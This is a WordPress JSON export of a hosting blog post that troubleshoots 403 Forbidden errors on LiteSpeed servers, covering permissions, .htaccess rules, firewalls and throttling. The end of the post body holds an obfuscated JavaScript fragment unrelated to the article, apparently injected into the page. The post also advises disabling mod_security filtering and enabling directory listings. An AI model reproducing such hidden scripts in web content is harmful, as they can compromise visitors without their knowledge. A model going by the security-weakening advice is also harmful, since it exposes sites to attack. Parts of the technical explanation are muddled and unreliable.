{"id":208,"date":"2021-02-16T00:01:09","date_gmt":"2021-02-16T00:01:09","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=208"},"modified":"2024-08-12T13:35:53","modified_gmt":"2024-08-12T12:35:53","slug":"how-to-solve-403-error-on-litespeed-web-server","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/server\/litespeed\/how-to-solve-403-error-on-litespeed-web-server\/","title":{"rendered":"How to solve 403 Error on litespeed web Server"},"content":{"rendered":"<h1 id=\"403-error\">403 Error<\/h1>\n<p>Error 403 Forbidden can be triggered by many things, and in this guide we will show you most of them. The most important thing is to check the log files when you get the error, as they will show the cause in most cases.<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-medium wp-image-209\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/02\/403-300x211.png\" alt=\"\" width=\"300\" height=\"211\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/02\/403-300x211.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/02\/403-768x540.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/02\/403.png 833w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Generally, it is not LiteSpeed Web Server causing 403 response codes. Most of the time, the error is related to a permission issue, configuration restriction, security settings, mod_security etc.<\/p>\n<p>You can try to switch to Apache and see if the error continues. If it happens to both Apache and LSWS, you can look at the following possible causes yourself to find the root of the problem. If it\u00a0<em>doesn&#8217;t<\/em>\u00a0happen to Apache but only happens to LSWS, you can log a ticket with us to take a further look.<\/p>\n<h2 id=\"file-permissions\">File Permissions<\/h2>\n<p>If the file or directory has the wrong permissions, you may see Error 403. Fix the premissions, and the error goes away.<\/p>\n<h2 id=\"wrong-file-owner\">Wrong File Owner<\/h2>\n<p>Make sure that the file or directory belongs to the correct user. Lets say that your\u00a0<code>public_html<\/code>\u00a0directory is owned by the username\u00a0<code>test<\/code>, and you try to create a file\u00a0<code>index.php<\/code>\u00a0as user\u00a0<code>test1<\/code>. That can trigger the error, as test1 will not have permission to read the file or the directory.<\/p>\n<h2 id=\"deny-from-htaccess-file\">Deny From .htaccess File<\/h2>\n<p>Your\u00a0<code>.htaccess<\/code>\u00a0may have code like this:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_0\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_0 pre, #__code_0 code\"><\/button><code>deny from all\r\n<\/code><\/pre>\n<\/div>\n<p>or<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_1\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_1 pre, #__code_1 code\"><\/button><code>deny from &lt;your ip address&gt;\r\n<\/code><\/pre>\n<\/div>\n<p>This means that access for the website is denied for everyone, or just from your IP address, respectively. You can simply remove or comment the line out with\u00a0<code>#<\/code>.<\/p>\n<p>&nbsp;<\/p>\n<h2 id=\"rewrite-rule-forbidden\">Rewrite Rule Forbidden<\/h2>\n<p>If you have something similar to the following rewrite rule, it may return 403 forbidden:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_2\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_2 pre, #__code_2 code\"><\/button><code>RewriteCond (SOMECONDITION)\r\nRewriteRule ^(.*)$ \u2013 [F,L]\r\n<\/code><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<h2 id=\"indexes\">Indexes<\/h2>\n<p>Directory indexing may be preventing a list of the files for the directory, but if you do not have an index file (<code>index.php<\/code>,\u00a0<code>index.html<\/code>, etc.) and the\u00a0<strong>autoindex<\/strong>\u00a0option is\u00a0<code>ON<\/code>\u00a0that will return error 403.<\/p>\n<p>If you have this line in the\u00a0<code>.htaccess<\/code>\u00a0file:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_3\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_3 pre, #__code_3 code\"><\/button><code>Options -Indexes\r\n<\/code><\/pre>\n<\/div>\n<p>Remove the line, or turn autoindex on:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_4\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_4 pre, #__code_4 code\"><\/button><code>Options +Indexes\r\n<\/code><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<h2 id=\"problemmissing-php-handler\">Problem\/Missing PHP Handler<\/h2>\n<p>If the PHP handler is not set up correctly, the web server will return error 403. This will be shown in the server error log file and you will need to check it for more information. After that, create the correct PHP handler to resolve the issue.<\/p>\n<h2 id=\"file-restriction\">File Restriction<\/h2>\n<p>In\u00a0<strong>Litespeed WebAdmin &gt; Configuration &gt; Server &gt; Security<\/strong>\u00a0there is an option called\u00a0<strong>Restricted Permission Mask<\/strong>. If you set this to a high value like\u00a0<code>644<\/code>, you will get error 403 for your pages. To resolve it you need to lower the value.<\/p>\n<h2 id=\"incorrect-file-ownership-after-migration\">Incorrect File Ownership After Migration<\/h2>\n<p>When migrating or uploading files to a cPanel account, some image files might incorrectly be assigned to\u00a0<code>nobody:nobody<\/code>, when they should be\u00a0<code>user:user<\/code>.<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_5\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_5 pre, #__code_5 code\"><\/button><code>\/home\/jsmith\/public_html&gt;ls -ald images\/detailed\/130\/Untitled-1-Recovered_urba-uz.jpg\r\n-rw-rw-rw- 1 nobody nobody 103609 Apr 12 11:21 images\/detailed\/130\/Untitled-1-Recovered_urba-uz.jpg\r\n\/home\/jsmith\/public_html&gt;ls -ald images\/detailed\/130\r\ndrwxrwxrwx 2 nobody nobody 36864 Apr 14 15:12 images\/detailed\/130\r\n\/home\/jsmith\/public_html&gt;ls -ald images\/detailed\r\ndrwxrwxrwx 51 jsmith jsmith 4096 Apr 11 13:16 images\/detailed\r\n\/home\/jsmith\/public_html&gt;ls -ald images\r\ndrwxrwxrwx 48 jsmith jsmith 4096 Mar 31 16:30 images\r\n<\/code><\/pre>\n<\/div>\n<p>The\u00a0<strong>Force Strict Ownership<\/strong>\u00a0setting in LSWS Admin specifies whether to enforce strict file ownership checking. If it is enabled, the web server will check if the owner of the file being served is the same as the owner of the virtual host. If it is different, a\u00a0<code>403 Access Denied<\/code>\u00a0error will be returned.<\/p>\n<p>To fix the problem, either change all files\u00a0<code>user:group<\/code>\u00a0to\u00a0<code>user:user<\/code>\u00a0( in the above example, that would be\u00a0<code>jsmith:jsmith<\/code>), or disable\u00a0<strong>Force Strict Ownership<\/strong>\u00a0in LSWS Admin.<\/p>\n<h2 id=\"firewall-block\">Firewall Block<\/h2>\n<p>If Mod Security, WAF, fail2ban, CPHulk, etc. are enabled, depending on what and how many requests you are doing for a particular website, the firewall can block you. In most cases your IP address will be denied in the system firewall (iptables, firewalld etc) and you need to remove your IP address in order to avoid the error.<\/p>\n<p>If mod_security rules are enabled, they may be triggerred for 403 error. For example:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_6\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_6 pre, #__code_6 code\"><\/button><code>[modsecurity] [Fri Apr 26 10:07:36 2019] [error] [client 111.111.111.111] ModSecurity: Access denied with code 403, [Rule: 'TX:ANOMALY_SCORE' '@ge %{tx.in_example_score_threshold}'] [id \"949110\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 10)\"] [severity \"CRITICAL\"] [tag \"application-multi\"] [tag \"language-multi\"][tag \"platform-multi\"] [tag \"attack-generic\"]\r\n<\/code><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<h2 id=\"per-client-throttling\">Per Client Throttling<\/h2>\n<p>Similar to the previous case, if you have strict throttling rules and you make too many connections, that can trigger error 403. For example, you may use LiteSpeed&#8217;s\u00a0<strong>Per Client Throttling<\/strong>\u00a0feature and set\u00a0<strong>Connection Soft Limit<\/strong>\u00a0and\u00a0<strong>Connection Hard Limit<\/strong>. If any visitor&#8217;s IP goes over that connection limit, it will trigger a 403 error and show the following in the logs:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_7\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_7 pre, #__code_7 code\"><\/button><code>[NOTICE] [x.x.x.x] bot detected for vhost [N\/A], reason: OverConnSoftLimit, close connection\r\n<\/code><\/pre>\n<\/div>\n<p>or<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_8\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_8 pre, #__code_8 code\"><\/button><code>[NOTICE] [x.x.x.x] bot detected for vhost [N\/A], reason: OverConnHardLimit, close connection!\r\n<\/code><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<h2 id=\"recaptcha\">reCAPTCHA<\/h2>\n<p>If a visitor fails on reCAPTCHA verification, it may trigger a 403 error.<\/p>\n<h2 id=\"wordpress-protection\">WordPress Protection<\/h2>\n<p>If a visitor hits the LiteSpeed WordPress Protection feature with over-limit connections, it may trigger a 403 error.<\/p>\n<h2 id=\"geoipip2loc-or-similar-modules\">GeoIP\/IP2Loc or Similar Modules<\/h2>\n<p>If GeoIP or IP2Loc is allowed, they can block access to files like\u00a0<code>wp-login<\/code>\u00a0(wp-admin). In this case you need to allow them access in order to avoid the error.<\/p>\n<h2 id=\"error-403-in-litespeed-webadmin\">Error 403 in LiteSpeed WebAdmin<\/h2>\n<p>There is an option to restrict access to the WebAdmin. If you forget to add your IP address, or if it changes, you can edit it from the configuration file in\u00a0<code>\/usr\/local\/lsws\/admin\/conf\/admin_config.xml<\/code>:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_9\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_9 pre, #__code_9 code\"><\/button><code>&lt;security&gt;\r\n &lt;accessControl&gt;\r\n   &lt;allow&gt;XXX.XXX.XXX.XXX&lt;\/allow&gt;\r\n   &lt;deny&gt;ALL&lt;\/deny&gt;\r\n &lt;\/accessControl&gt;\r\n&lt;\/security&gt;\r\n<\/code><\/pre>\n<\/div>\n<p>Put your IP address in the allow list. For multiple IP addresses it looks like this:<\/p>\n<div class=\"codehilite\">\n<pre id=\"__code_10\"><button class=\"md-clipboard\" title=\"Copy to clipboard\" data-clipboard-target=\"#__code_10 pre, #__code_10 code\"><\/button><code>&lt;allow&gt;XXX.XXX.XXX.XXX,XXX.XXX.XXX.XXX&lt;\/allow&gt;\r\n<\/code><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<h2 id=\"additional-information\">Additional Information<\/h2>\n<p>IF you are experiencing this issue on WordPress site, kindly paste the below code on .<strong>htaccess<\/strong> at the end of # END WordPress<\/p>\n<p><code>&lt;IfModule mod_security.c&gt;<br \/>\nSecFilterEngine Off<br \/>\nSecFilterScanPOST Off<br \/>\n&lt;\/IfModule&gt;<\/code><\/p>\n<p>&nbsp;<\/p>\n<p>The best way to diagnose and resolve that error is to check the system configuration, website configuration and the error logs. If you are unsure what is the correct configuration for some option that is triggering error 403, you can check the wiki for that option. For example: For\u00a0<a href=\"https:\/\/docs.litespeedtech.com\/cp\/cpanel\/geoip\">GeoLocation guide<\/a>\u00a0configuration or\u00a0<a href=\"https:\/\/docs.litespeedtech.com\/cp\/cpanel\/geoip\/#enabling-ip2location\">IP2Location guide<\/a>.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>403 Error Error 403 Forbidden can be triggered by many things, and in this guide we will show you most [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":209,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[13],"tags":[],"class_list":["post-208","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-litespeed"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to solve 403 Error on litespeed web Server - HoganHost blog<\/title>\n<meta name=\"description\" content=\"Error 403 Forbidden can be triggered by many things, and in this guide we will show you most of them. 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